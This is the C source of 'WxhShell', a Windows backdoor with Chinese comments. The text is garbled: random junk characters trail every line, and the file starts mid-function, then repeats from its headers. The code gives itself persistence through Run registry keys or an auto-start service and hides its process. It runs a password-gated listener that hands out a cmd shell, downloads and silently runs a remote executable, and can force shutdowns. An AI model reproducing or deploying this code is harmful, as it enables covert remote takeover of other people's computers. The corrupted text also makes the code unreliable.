    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1LK`    
    else { EDA%qNd]j  
    closesocket(wsh); S#{jyU9 ]  
    ExitThread(0); b5@sG^  
    } sYG:\>}ie  
    break; R_7[7 /a  
    } wigs1  
  // 获取shell j v4O  
  case 's': { QH d^?H*  
    CmdShell(wsh); GI[TD?s  
    closesocket(wsh); O?=YY@j  
    ExitThread(0); 2I@d=T{K  
    break; %2;Nj; J$  
  } @|2L>N  
  // 退出 4!</JZX~$  
  case 'x': { bih%hqny  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); +QZ}c@'r  
    CloseIt(wsh); <l.l6okp  
    break; I""zg^Rq  
    } ,l47;@kr  
  // 离开 Sf>#Zqj/  
  case 'q': { 3 i;sB  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); y v58~w*"  
    closesocket(wsh); mM$|cge"  
    WSACleanup(); ^5D%)@~  
    exit(1); ..K@'*u  
    break; -`8pahI  
        } +v.<Fw2k#  
  } HVHd@#pDZ  
  } V'q?+p] a  
_u{z$;  
  // 提示信息 3T= ?!|e  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;(3!#4`q(]  
} )z^NJ'v4(  
  } lZr}F.7  
]wZlJK`K  
  return; (6crWw{3  
} #>ob1b|  
 81}JX  
// shell模块句柄 (B^rW,V[R  
int CmdShell(SOCKET sock) M/mm2?4  
{ .}c&" L;W  
STARTUPINFO si; ]i:_^z)R  
ZeroMemory(&si,sizeof(si)); i< b-$9  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Mgp+#w+,  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; T\wfYuc&X  
PROCESS_INFORMATION ProcessInfo; ,6 IKkyD  
char cmdline[]="cmd"; &E+mXEve  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); QMhvyzkS  
  return 0; F+SqJSa  
} XkhGU?={  
=o5|W'>`  
// 自身启动模式 p>l:^ -N;f  
int StartFromService(void) OfK>-8  
{ kRb  %:*  
typedef struct [0n[\& 0  
{ X5tx(}j  
  DWORD ExitStatus; 5~[m]   
  DWORD PebBaseAddress; Fy$f`w_H@  
  DWORD AffinityMask; 2 oo/KndU  
  DWORD BasePriority; h5Ee*D e  
  ULONG UniqueProcessId; >i_ #q$o  
  ULONG InheritedFromUniqueProcessId; x^7 9s_h5  
}   PROCESS_BASIC_INFORMATION; g.*DlD%%  
M5kw3Jy5  
PROCNTQSIP NtQueryInformationProcess; CUN1.i<pk8  
.]e_je_  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; eBWgAf.k  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 4q"4N2  
<Ej`zGhWz  
  HANDLE             hProcess; 4D}hYk$eP0  
  PROCESS_BASIC_INFORMATION pbi; f#kT?!sP  
!<3!ORFO  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 0Lf4 ^9N  
  if(NULL == hInst ) return 0; RKPX*(i~  
ka_(8  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ^D76_'{  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); S J2l6  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); al"=ld(  
L++qMRk9  
  if (!NtQueryInformationProcess) return 0; D&{CC  
T I|h  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); {e5DQ21.  
  if(!hProcess) return 0; iax0V  
bd\%K`JQ{  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; s1]m^,  
YsMM$rjP +  
  CloseHandle(hProcess); s o1hC  
hv`I`[/J  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 63i&<  
if(hProcess==NULL) return 0; 9:P\)'y?  
<L+1 &H  
HMODULE hMod; MD^,"!A  
char procName[255]; 5eiKMKW[  
unsigned long cbNeeded; M@z_tR'3\  
.JOZ2QWm<  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); unih"};ou  
$^_6,uBM[  
  CloseHandle(hProcess); .e5d#gE0  
IZLBv2m  
if(strstr(procName,"services")) return 1; // 以服务启动 u].7+{  
4T-"\tmg/  
  return 0; // 注册表启动 B!  P/?  
} +e, c'.  
BwkY;Ur/AL  
// 主模块 K)9Rw2-AJ  
int StartWxhshell(LPSTR lpCmdLine) JOz4O  
{ ?rjB9AC_;t  
  SOCKET wsl; JW!.+ Q  
BOOL val=TRUE; \(RD5@=!4#  
  int port=0; S1[, al  
  struct sockaddr_in door; = N;5T  
R nwFxFIQ  
  if(wscfg.ws_autoins) Install(); &f}w&k2yj  
F{4v[WP)  
port=atoi(lpCmdLine); $A`m8?bY  
dVUe!S`  
if(port<=0) port=wscfg.ws_port; W4,'?o  
('{aOiSH  
  WSADATA data; ~yt7L,OQ  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; `^] D;RfE  
@C<ofg3E  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   &)jq3  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); _RIlGs\.  
  door.sin_family = AF_INET; bZ_TW9mq  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); pztfm'  
  door.sin_port = htons(port); mITNx^p4f  
'#XT[\  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 9a @rsyX  
closesocket(wsl); sopf-g:  
return 1; Q:|W/RD~  
} L9<\vJ  
?;_*8Doq-a  
  if(listen(wsl,2) == INVALID_SOCKET) { 1BEs> Sm  
closesocket(wsl); '$c9S[  
return 1; `yP`5a/  
} g60k R7;\  
  Wxhshell(wsl); l2kGFgc  
  WSACleanup(); DJ DQH\&  
#N"u 0  
return 0; lWe cxD$  
"%)g^Atp>  
} T9I$6HAi  
]BUirJ,2  
// 以NT服务方式启动 eXMIRus(  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) WQ}wQ:]  
{ 5|=J\Lp2I  
DWORD   status = 0; 9|lLce$  
  DWORD   specificError = 0xfffffff; S@Rd>4  
0QT:@v2R  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Fuzb4Df  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; \+#EO%sN1%  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; y|)VNnWM  
  serviceStatus.dwWin32ExitCode     = 0; .$H"j>  
  serviceStatus.dwServiceSpecificExitCode = 0; ``P9fd  
  serviceStatus.dwCheckPoint       = 0; 641P)  
  serviceStatus.dwWaitHint       = 0; bU}v@Uk  
x\U[5d   
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); "V(P)_  
  if (hServiceStatusHandle==0) return; K"x_=^,Yu*  
[@ev%x,  
status = GetLastError(); 8>t,n,k  
  if (status!=NO_ERROR) ,0a_ou"P=_  
{ swxX3GR  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Pmo<t6  
    serviceStatus.dwCheckPoint       = 0; #G.eiqh$a  
    serviceStatus.dwWaitHint       = 0; aopZ-^  
    serviceStatus.dwWin32ExitCode     = status; #-\5O  
    serviceStatus.dwServiceSpecificExitCode = specificError; DnFzCJ  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4qz+cB_  
    return; bD0l^?Hu!  
  } rVqQo` K\  
j<P;:  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; s~].iQJ{B  
  serviceStatus.dwCheckPoint       = 0; |$b8(g$s)  
  serviceStatus.dwWaitHint       = 0; y]0O"X-G  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); x};~8lGT>t  
} 4"k&9+>  
~f(5l.  
// 处理NT服务事件,比如:启动、停止 /wLGf]0  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 4U\}"Mk  
{  =aZ d>{Y  
switch(fdwControl) @ <{%r  
{ D>[Sib/@  
case SERVICE_CONTROL_STOP: "qNFDr(WM  
  serviceStatus.dwWin32ExitCode = 0; Jz~:  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; !9WGZfK+0Y  
  serviceStatus.dwCheckPoint   = 0; gK QJ^a\!  
  serviceStatus.dwWaitHint     = 0; >]pZ;e$  
  { |67Jw2  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); mLqqo2u  
  } zQ |2D*W  
  return; [9${4=Kq  
case SERVICE_CONTROL_PAUSE: J?w_DQa  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; XZ~kXE;B(  
  break; 3fhY+$tq  
case SERVICE_CONTROL_CONTINUE: fwv^dEe  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; aL4^ po  
  break; rP3tFvOH  
case SERVICE_CONTROL_INTERROGATE: &U7v=a  
  break; 88~Nrl=co  
}; ;ND$4$  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); X7huc*  
} $C;i}q#  
b^Z2Vf:k]  
// 标准应用程序主函数 G;}WZy  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) hHN[K  
{ lG\uJxV  
D,}bTwRb-  
// 获取操作系统版本 &liON1GLM  
OsIsNt=GetOsVer(); q* p  
GetModuleFileName(NULL,ExeFile,MAX_PATH); B{`adq?pW  
Q?i_Nl/|  
  // 从命令行安装 Qdq;C,}Ai.  
  if(strpbrk(lpCmdLine,"iI")) Install(); !iKW1ks  
ID2->J  
  // 下载执行文件 (vO3vCYeQ  
if(wscfg.ws_downexe) { ]]PNYa  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 7b[s W|{  
  WinExec(wscfg.ws_filenam,SW_HIDE); SG)Fk *1  
} C '( Y  
PGJh>[ s  
if(!OsIsNt) { 0[l}@K?  
// 如果时win9x,隐藏进程并且设置为注册表启动 ZPmqoR[  
HideProc(); J:N(U0U  
StartWxhshell(lpCmdLine); <"5l<E  
} 5G}4z>-]F)  
else fA6IW(_bi  
  if(StartFromService()) rJpr;QKf%  
  // 以服务方式启动 6}TunR  
  StartServiceCtrlDispatcher(DispatchTable); y>y2,x+[  
else ?Ts]zO%%Z  
  // 普通方式启动 Gk*u^J(  
  StartWxhshell(lpCmdLine); IQPu%n{0v  
%=UD~5!G0  
return 0; m"n74 cxS  
} hn8xs5vN  
-lhIL}mGf  
k sv]  
o~~;I  
=========================================== }QCnN2bV  
|reA`&<q  
!FL"L 9   
;#85 _/  
ojy^ A  
i wgt\ux.  
" e,xL~P{|  
z< L2W",  
#include <stdio.h> EfEgY|V0  
#include <string.h> e P@#I^_  
#include <windows.h> LL#REK|lm8  
#include <winsock2.h> l<+ [l$0#  
#include <winsvc.h> $H@SXx  
#include <urlmon.h> &s+l/;3  
~.W]x~X$  
#pragma comment (lib, "Ws2_32.lib") T)\}V#iA*  
#pragma comment (lib, "urlmon.lib") mH$tG $  
<Q~N9W  
#define MAX_USER   100 // 最大客户端连接数 r @4A% ql<  
#define BUF_SOCK   200 // sock buffer 7%Y`j/  
#define KEY_BUFF   255 // 输入 buffer +-j-)WU?,  
V'&;r'#O  
#define REBOOT     0   // 重启 D5lQ0_IeW  
#define SHUTDOWN   1   // 关机 VvyRZMR  
tP@NQCo  
#define DEF_PORT   5000 // 监听端口 i//H5D3  
\ASt&'E  
#define REG_LEN     16   // 注册表键长度 c*)T4n[e  
#define SVC_LEN     80   // NT服务名长度 Keh=>K)T  
>5 -1?vi  
// 从dll定义API kEDpF26!  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); duG3-E  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); (bb!VVA  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); *]]Zpa6  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); E{orezP  
'dKfXYY1`N  
// wxhshell配置信息 +l7)7qKx  
struct WSCFG { l(Rn=?  
  int ws_port;         // 监听端口 uyWheR  
  char ws_passstr[REG_LEN]; // 口令 [7vV#s3kJ  
  int ws_autoins;       // 安装标记, 1=yes 0=no Uj(0M;#%o+  
  char ws_regname[REG_LEN]; // 注册表键名 62sl6WWS3  
  char ws_svcname[REG_LEN]; // 服务名 PQ 4mNjXN  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 zKd@Ab  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 XDY]LAV  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 U!(.i1^n  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Hh% !4_AMw  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" /pj[c;aO  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 J~2SGXH)^?  
9hA`I tS  
}; hp~q!Q1=  
cU6*y!}9  
// default Wxhshell configuration B]X8KzLu  
struct WSCFG wscfg={DEF_PORT, "#~>q(4^  
    "xuhuanlingzhe", w5%Yi {  
    1, " @D  
    "Wxhshell", UGO#o`.G}  
    "Wxhshell", 8gS7$ EH'  
            "WxhShell Service", >of34C"DI  
    "Wrsky Windows CmdShell Service", zgwez$  
    "Please Input Your Password: ", $:~;U xh=  
  1, \l59/ZFan  
  "http://www.wrsky.com/wxhshell.exe", uN`/&_$c  
  "Wxhshell.exe" &*v\t\]  
    }; &en. m>9,  
O&l4/RtQ\)  
// 消息定义模块 TDH^x1P  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; O%EA ,5U.  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ["3dr@T9Z  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; &&&-P\3  
char *msg_ws_ext="\n\rExit."; 4,)9@-|0R  
char *msg_ws_end="\n\rQuit."; u9!  ?  
char *msg_ws_boot="\n\rReboot..."; ]DNPG"  
char *msg_ws_poff="\n\rShutdown..."; ]}v]j`9m%  
char *msg_ws_down="\n\rSave to "; b}K,wAx  
pl]|yIZ  
char *msg_ws_err="\n\rErr!"; KqFI2@v   
char *msg_ws_ok="\n\rOK!"; i=gZ8Q=H  
, #)d  
char ExeFile[MAX_PATH]; 1wR[nBg*|  
int nUser = 0; 8c9HJ9vk  
HANDLE handles[MAX_USER]; ~+Gh{,f  
int OsIsNt; WE) *~5  
:F:1(FDP  
SERVICE_STATUS       serviceStatus; ?h}NL5a  
SERVICE_STATUS_HANDLE   hServiceStatusHandle;  i;O_B5 d  
0i*V?  
// 函数声明 ;C@mT;hR  
int Install(void); YlrN^rO  
int Uninstall(void); U,#~9  
int DownloadFile(char *sURL, SOCKET wsh); ? "I %K%  
int Boot(int flag); tl 0|.Q,  
void HideProc(void); 2^o7 ^S  
int GetOsVer(void); g{'f%bkG  
int Wxhshell(SOCKET wsl);  L8`v  
void TalkWithClient(void *cs); UA$IVK&{  
int CmdShell(SOCKET sock); QEr<(wM-y  
int StartFromService(void); :H]d1  
int StartWxhshell(LPSTR lpCmdLine); 4#IT" i  
2VN].t:  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); hZJ~zx~  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); A*OqUq/H`;  
.iy4 (P4  
// 数据结构和表定义 ^+>*Y=fl  
SERVICE_TABLE_ENTRY DispatchTable[] = cB uuq  
{ r!Eh}0bL  
{wscfg.ws_svcname, NTServiceMain}, OijuOLt  
{NULL, NULL} h3@tZL#g  
}; ~q ^o|?  
OFtaOjsyUa  
// 自我安装 jqaX|)8|$  
int Install(void) m'"r<]pB*4  
{ Skt-5S#  
  char svExeFile[MAX_PATH]; wMVUTm  
  HKEY key; 3x;UAi+&  
  strcpy(svExeFile,ExeFile); cUR :a @  
~(R=3  
// 如果是win9x系统,修改注册表设为自启动 5 bI :xL}  
if(!OsIsNt) { K%J?'-  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -.h)CM@L  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));  vD#U+  
  RegCloseKey(key); (=!At)O  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { {[!<yUJ`S#  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ,`HweIq(  
  RegCloseKey(key); d0>U-.  
  return 0; ce;7  
    } HP8J\`  
  } r XJx~ g  
} _KM? ?&  
else { }B-$}  
lUu0AZQmG  
// 如果是NT以上系统,安装为系统服务 ;^ME  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); NVMn7H}>  
if (schSCManager!=0) B'yjMY![  
{ [BE_^d5&  
  SC_HANDLE schService = CreateService => (g_\  
  (  R0Vt_7  
  schSCManager, Eg)24C R 4  
  wscfg.ws_svcname, (%B{=w}8  
  wscfg.ws_svcdisp, `H! (hMMV  
  SERVICE_ALL_ACCESS, ?, pwYT0g  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , q=X<QhK  
  SERVICE_AUTO_START, Al^tM0T^  
  SERVICE_ERROR_NORMAL, A$@;Q5/2  
  svExeFile, JK! (\Ae.  
  NULL, !)]/?&uo  
  NULL, n#P>E( K  
  NULL, 9)VAEyv  
  NULL, 3RtVFDIZA"  
  NULL %E_Y4Oe1  
  ); +@rFbsyJ.  
  if (schService!=0) 5=?P 6I_$G  
  { hQ|mow@Zmz  
  CloseServiceHandle(schService); 5k0iVpjQ  
  CloseServiceHandle(schSCManager); _m9k2[N!  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); bY P8  
  strcat(svExeFile,wscfg.ws_svcname); HgY@M  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { "&={E{pQ  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 4;YP\{u  
  RegCloseKey(key); QGpj$ _b  
  return 0; N?qETp-:  
    } _x.2&S89  
  } .+9*5  
  CloseServiceHandle(schSCManager); .:?v;rYk{  
} E>_Rsw *  
} 4~ }NB%,  
4V:W 8k 9D  
return 1; x:)H Ii q/  
} +^BTh rB  
1J!v;Y\\  
// 自我卸载 LLgw1 @-D  
int Uninstall(void) No7-fX1B  
{ ^&<M""Z  
  HKEY key; Dl/ C?Fll  
D/E5&6  
if(!OsIsNt) { AOg'4  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {  LgF?1?  
  RegDeleteValue(key,wscfg.ws_regname); QP'sS*saJ  
  RegCloseKey(key); ?6_]^:s  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &oMEz 0  
  RegDeleteValue(key,wscfg.ws_regname); i431mpMa  
  RegCloseKey(key); T:Cq}4k<  
  return 0; &oG>Rqkm  
  } G u`xJ  
} WHC/'kvF  
} r-T1^u  
else { `<tRfl}qs  
Tt~4'{Bc  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); yP]>eLTSd  
if (schSCManager!=0) /H<{p$Wd  
{ HAH\ #WE  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); *<^C0:i(  
  if (schService!=0) b]u=I za  
  { r%;|gIky  
  if(DeleteService(schService)!=0) { }Q`+hJ0  
  CloseServiceHandle(schService); [x)T2sA  
  CloseServiceHandle(schSCManager); x_7$g<n  
  return 0; gxO~44"  
  } 0o8`Y  
  CloseServiceHandle(schService); 7X( 2SI3m  
  } ;l%xjMcU  
  CloseServiceHandle(schSCManager); _`SD G5  
} !mK()#6  
} Sd6O?&(  
}C @xl9S"  
return 1; &W>\Vl1  
} f hK<P_}  
;SXkPs3q  
// 从指定url下载文件 +^9^)Ur|  
int DownloadFile(char *sURL, SOCKET wsh) :?f+*  
{ QP(d77 n  
  HRESULT hr; _gVihu  
char seps[]= "/"; ;.jj>1=Tnl  
char *token; R_j.k3r4d  
char *file; yM 7{v$X0  
char myURL[MAX_PATH]; L$Z!  
char myFILE[MAX_PATH]; Nd( I RsH(  
UI=v| <'-  
strcpy(myURL,sURL); _7N?R0j^9N  
  token=strtok(myURL,seps); <Ch9"1f3,  
  while(token!=NULL) l'l&Zqd  
  { ?u2\ *@C  
    file=token; e^*&&  
  token=strtok(NULL,seps); ~Y43`@3H:  
  } |~A*?6:@  
EF&CV{Sw  
GetCurrentDirectory(MAX_PATH,myFILE); E0qJ.v  
strcat(myFILE, "\\"); 3sV$#l P  
strcat(myFILE, file); =RUy4+0>F  
  send(wsh,myFILE,strlen(myFILE),0); 6`2i'flv  
send(wsh,"...",3,0); FqJd  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); qVU<jt  
  if(hr==S_OK) O\7x+^.  
return 0; Q7u|^Gu,5  
else #c:@oe4v  
return 1; =H7p&DhD[  
OR&pGoW  
} 4j;IyQDvM  
qdQ4%,E[  
// 系统电源模块 ?n<F?~  
int Boot(int flag) "6]oi*_8  
{ G739Ne[gL  
  HANDLE hToken; UZ/LR  
  TOKEN_PRIVILEGES tkp; D*@'%<?  
%x#S?GMV<  
  if(OsIsNt) { SkV pZh  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); vgc~%k62c  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Yjo$vQi  
    tkp.PrivilegeCount = 1; <nJGJ5JJ  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; nGGw(6c%>  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); mqeW,89  
if(flag==REBOOT) { ();Z,A  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ecm+33C  
  return 0; C2LG@iCIE  
} iOm&(2/  
else { 7r,GdP.  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) V@+sNM  
  return 0; jA8Bmwt;w  
} H`<u2fo|p  
  } idBd aZg  
  else { x=0Ak'1M  
if(flag==REBOOT) { 2G|}ENC  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) .+2:~%v6  
  return 0; 4grV2xtX  
} 3K(/=  
else { v$`3}<3-  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) [W$x5|Z}Q  
  return 0; 5<X"+`=9  
} >l}v _k*~B  
} L7- JK3/E  
%D-!< )z  
return 1; N]8/l:@  
} Lm$KR!z  
^Zpz@T>m  
// win9x进程隐藏模块 $lB!Q8a$  
void HideProc(void) mr[1F]G  
{ V B ^1wm  
4Tuh]5  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); k'.cl^6Z8  
  if ( hKernel != NULL ) 'n{=`e(}cI  
  { (xfy?N  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 3I'7+?@@l  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);  k=t{o  
    FreeLibrary(hKernel); lx$Z/f  
  } Nba1!5:M  
LB7$&.m'B  
return; IF&edP[V  
} v7j/_;JE;  
Ku6ndc  
// 获取操作系统版本 cl23y}J_?  
int GetOsVer(void) c(Xm~ 'jeH  
{ .4 NcaMj  
  OSVERSIONINFO winfo; rU>l(O'b  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); _ y'g11 \  
  GetVersionEx(&winfo); ;|=5)KE  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) O&CY9 2)Lk  
  return 1; REc90v2"  
  else Aa-OMo;~  
  return 0; -iy17$  
} }K.)yv n  
P2>_qyX  
// 客户端句柄模块 cgcU2N6y;  
int Wxhshell(SOCKET wsl) 9R+ qw  
{ varaBFD  
  SOCKET wsh; 1h]nE/T.O  
  struct sockaddr_in client; ).Z U0fV  
  DWORD myID; f U<<GK70  
`)=sQ2P  
  while(nUser<MAX_USER) fuf' r>1n  
{ Cs]\3R|D`  
  int nSize=sizeof(client); J{;\TNkJ  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); "2!5g)iO  
  if(wsh==INVALID_SOCKET) return 1; CW@EQ3y0  
;[C_ho  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); yqb$,$  
if(handles[nUser]==0) c ]ll89`||  
  closesocket(wsh); )WkN 34Q  
else .$&vSOgd(  
  nUser++; nFwg pT  
  } 6[Mu3.T  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Kr<a6BEv5  
;Uypv|xX  
  return 0;  fsKZ  
}  ^AwDZX  
@ uL4'@Ej  
// 关闭 socket Rs]Y/9F;{  
void CloseIt(SOCKET wsh) 1b7Q-elG  
{ 06af{FXsGb  
closesocket(wsh); G`v(4`tA  
nUser--; uMFV^&ZF  
ExitThread(0); BC%V<6JBu(  
} 2Zq_zvKUt  
;k1VY Ie}  
// 客户端请求句柄 #%CB`l  
void TalkWithClient(void *cs) <7%#RJwe  
{ Zh:@A Fz:R  
W1}d6Sbg  
  SOCKET wsh=(SOCKET)cs; =b3<}]  
  char pwd[SVC_LEN]; -!j5j:RR  
  char cmd[KEY_BUFF]; ,PWMl [X  
char chr[1]; 0VgsV;  
int i,j;  *% ]&5  
w`Cs,  
  while (nUser < MAX_USER) { {bNKyT  
n7#}i2:  
if(wscfg.ws_passstr) { R4f_Kio  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Nk\/lK\  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); I~M@v59C  
  //ZeroMemory(pwd,KEY_BUFF); F{17K$y  
      i=0; X5)].[d  
  while(i<SVC_LEN) { yEL5U{  
)k 6z  
  // 设置超时 v00w GOpW  
  fd_set FdRead; J.,7d ,  
  struct timeval TimeOut; U)S!@ 2(4  
  FD_ZERO(&FdRead); > 8!9  
  FD_SET(wsh,&FdRead); a [BIY&/Q  
  TimeOut.tv_sec=8; QlnI&o  
  TimeOut.tv_usec=0; $=!_ !tr  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); OLJ|gunA#  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); /n9,XD&)  
>@|XY<  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); sc# q03  
  pwd=chr[0]; |/RZGC4  
  if(chr[0]==0xd || chr[0]==0xa) { u$V@akk  
  pwd=0; mk`#\=GE  
  break; UTxqqcqEny  
  } y=e|W=<D&  
  i++; Tml>>O  
    } hLSas#B>  
G8 CM  
  // 如果是非法用户,关闭 socket JN<u4\e{-&  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); X./7b{Pax  
} &Y8S! W@4  
d+6-ten  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Cbr>\;sc2Z  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); '_M"yg6d  
:&=`xAX-  
while(1) { k 3 oR:  
;LFs.Jc<  
  ZeroMemory(cmd,KEY_BUFF); yex0rnQ|  
BWG#W C  
      // 自动支持客户端 telnet标准   AI*1kxR  
  j=0; ,a@jg&Mb]  
  while(j<KEY_BUFF) { T oK'Pd  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); +Ft@S(IE  
  cmd[j]=chr[0]; cY%6+uJ1  
  if(chr[0]==0xa || chr[0]==0xd) { IaYy5Rw  
  cmd[j]=0; 2u^/yl  
  break; ;fKFmY41  
  } iriF'(1  
  j++; /c52w"WW  
    } {b]V e/\  
l 1Ns~  
  // 下载文件 A:Kit_A  
  if(strstr(cmd,"http://")) { r=^?  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); J*r%b+  
  if(DownloadFile(cmd,wsh)) \XgpwvO".  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); >0jg2vqt  
  else  :)Z.!  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); F */J`l  
  } -x0u}I  
  else {  jf~-;2  
@6z]Xb  
    switch(cmd[0]) { 6 #Afj0  
  {);<2]o| 6  
  // 帮助 ~e<h2/Xc  
  case '?': { q5ja \  
